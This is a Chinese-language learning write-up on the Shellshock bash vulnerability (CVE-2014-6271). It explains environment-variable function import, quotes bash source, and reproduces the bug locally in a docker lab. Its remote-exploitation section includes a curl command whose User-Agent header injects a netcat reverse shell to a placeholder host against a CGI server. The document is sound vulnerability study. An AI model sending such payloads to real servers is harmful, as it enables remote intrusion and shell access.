shellshock—CVE-2014-6271
shell基础
自定义变量
一般来说,自定义变量都是局部变量,一个shell中的局部变量不会被另一个shell读取到,包括子shell。而使用export,将变量设置成环境变量后,可以实现在子进程中该变量依然有效,同时,子进程无法修改父进程中的变量,即使使用export也不行。
env命令
用于显示系统中已存在的环境变量以及在定义的环境中执行指令。
语法=>
env(选项)(参数)
选项=>
-i/- :开始一个新的空的环境 -u<变量名> :从当前环境中删除指定的变量
参数=>
变量定义:定义在新的环境中变量,定义多个变量则用空格隔开。格式为"变量名=值"。
指定:指定要执行的指令各参数
echo命令
用于输出指定内容,其中:
单引号:将' '的内容都作为字符串而忽略所有的命令和特殊字符
双引号:解析内部特殊字符,若需要忽略则利用'\'来转义
反引号:包含一个命令字符串,其中的命令会先执行得到的结果会返回到层命令执行
=>这是一个实验过程中遇到的小问题:
正常实例
小于4.3的bash版本中=>
Bash允许在Bash的shell中使用环境变量来定义函数,如果环境变量的值以字符"( ){"开头,那么这个变量就会被当作是一个导入函数的定义(Export),并且这种定义只有在shell启动的时候生效。
可以看到,在上面这次尝试中我们的VAR变量并没有引入环境变量中。
使用export成功看到环境变量VAR被当作函数执行了。
这里使用env命令在新的环境中先设置了变量,再执行了指定的指令,并且执行完成后当前的环境变量不受影响。bash -c是为了启动bash时就执行VAR函数,这里必须新起一个bash,因为只有bash启动时才会解析函数的定义。
bash 4.4.20中=>
在环境bash 4.4.20版本中, Bash 会把满足 "BASH_FUNC_函数名%%=() { 函数体" 格式的环境变量作为函数源码解析并导入。因此,两个同名的变量和函数也不会冲突,可以同时导入:
env 'BASH_FUNC_var%%=() { echo "1";}' bash -c 'var'
==>1
env 'var=2' 'BASH_FUNC_var%%=() { echo "1";}' bash -c 'var'
==>1
env 'var=2' 'BASH_FUNC_var%%=() { echo "1";}' bash -c 'echo $var'
==>2
漏洞原理
看了几份大神们分析源码的报告(也没看明白啥就是了awtcl),大部分都认为漏洞主要利用的地方在于parse_and_execute()
这一函数,下面这部分源码在variables.c中代码的315行处,借助注释我们可以看到代码用于初始化当前环境的环境变量:
/* Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from ENV or parse $SHELLOPTS. */ void initialize_shell_variables (env, privmode) char **env; int privmode; { char *name, *string, *temp_string; int c, char_index, string_index, string_length, ro; SHELL_VAR *temp_var; create_variable_tables (); for (string_index = 0; string = env[string_index++]; ) { char_index = 0; name = string; while ((c = *string++) && c != '=') ; if (string[-1] == '=') char_index = string - name - 1; /* If there are weird things in the environment, like `=xxx' or a string without an `=', just skip them. */ if (char_index == 0) continue; /* ASSERT(name[char_index] == '=') */ name[char_index] = '\0'; /* Now, name = env variable name, string = env variable value, and char_index == strlen (name) */ temp_var = (SHELL_VAR *)NULL; /* If exported function, define it now. Don't import functions from the environment in privileged mode. */ if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4)) { string_length = strlen (string); temp_string = (char *)xmalloc (3 + string_length + char_index); strcpy (temp_string, name); temp_string[char_index] = ' '; strcpy (temp_string + char_index + 1, string); if (posixly_correct == 0 || legal_identifier (name)) parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
而parse_and_execute()
函数在\bash-4.3\builtins\evalstring.c文件189行处:
if (parse_command () == 0) { if ((flags & SEVAL_PARSEONLY) || (interactive_shell == 0 && read_but_dont_execute)) { last_result = EXECUTION_SUCCESS; dispose_command (global_command); global_command = (COMMAND *)NULL; } else if (command = global_command) { struct fd_bitmap *bitmap; bitmap = new_fd_bitmap (FD_BITMAP_SIZE); begin_unwind_frame ("pe_dispose"); add_unwind_protect (dispose_fd_bitmap, bitmap); add_unwind_protect (dispose_command, command); /* XXX */ global_command = (COMMAND *)NULL; if ((subshell_environment & SUBSHELL_COMSUB) && comsub_ignore_return) command->flags |= CMD_IGNORE_RETURN;
这里判断command是否是环境变量,并通过bitmap结构体返回execute_command()
函数的运行结果,此处导致恶意代码被执行。
漏洞环境
含有版本号小于bash 4.3的linux或者unix系统
漏洞复现
本地
=>
QWQ='() { echo "T wants to pwn you";};echo "T pwned you"'
QWQ被解析成局部变量,无法在传给子进程,从而不能执行恶意代码
=>
QWQ='() { echo "T wants to pwn you";};echo "T pwned you"' bash
在当前环境中被开启新的shell,自动解析前面的局部变量成函数定义并执行恶意代码
=>
$export QAQ='() { echo "T wants to pwn you";};echo "T pwned you"' $bash
QAQ是全局变量,开启新的bash并在子进程中可将其解析成函数定义并执行恶意代码
=>
env T='() { echo "T wants to pwn you";};echo "T pwned you"' bash
env指令在新的环境中定义环境变量T,并执行下面的指令,即:bash,而开启了新的bash会解析当前环境中的环境变量T成函数定义,同时执行了恶意代码,并且执行完毕后原先的环境变量并没有被改动。
综合以上四种情况明显看到以最后一种方式进行攻击逻辑最为清晰
因此,通常漏洞的执行payload为:
env VAR='() { :;}; echo Bash is vulnerable!' bash
其中':'仅表示true,什么都不做。
远程
如果shellshock仅是本地漏洞,那危害不会很大,真正的危害是远程用户利用这一漏洞攻击服务器系统。
bash漏洞导致任意命令被执行的条件:1.程序在某一时刻使用bash作为脚本解释器处理环境变量的赋值 2.环境变量赋值字符串的提交取决于用户的输入。其中,最典型的是运行了CGI的服务器。
通常的攻击实例是利用curl工具,构造出Referer\Cookie\User-Agent等字段,攻击存在Bash漏洞的服务器,可以用于或许服务器的用户及密码,例如:
curl -H 'User-Agent:() { :; }; /bin/bash -c "nc xxx.xxx.xxx xxxx -e /bin/bash -i"' http://XXX:8080/cgi-bin/XXX.cgi
因为自己对远程服务器和web-CGI等方面了解甚少,通过上面这段翻译猜测,在发送一段http请求后,我们修改了服务器上的环境变量并且服务器自动生成新的bash而导致恶意代码的执行。
附:
利用docker构建shellshock漏洞环境
使用官方脚本一条命令安装docker(我的环境为ubuntu 18.04,非常方便):
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
随后拉取已经搭好漏洞环境的镜像即可~
$docker search shellshock $docker run -d hmlio/vaas-cve-2014-6271 // vulnerables/cve-2014-6271 $docker run -i -t hmlio/vaas-cve-2014-6271 /bin/bash
源码
下载bash4.3版本=>https://ftp.gnu.org/gnu/bash/
References:
https://zhuanlan.zhihu.com/p/53081337
http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/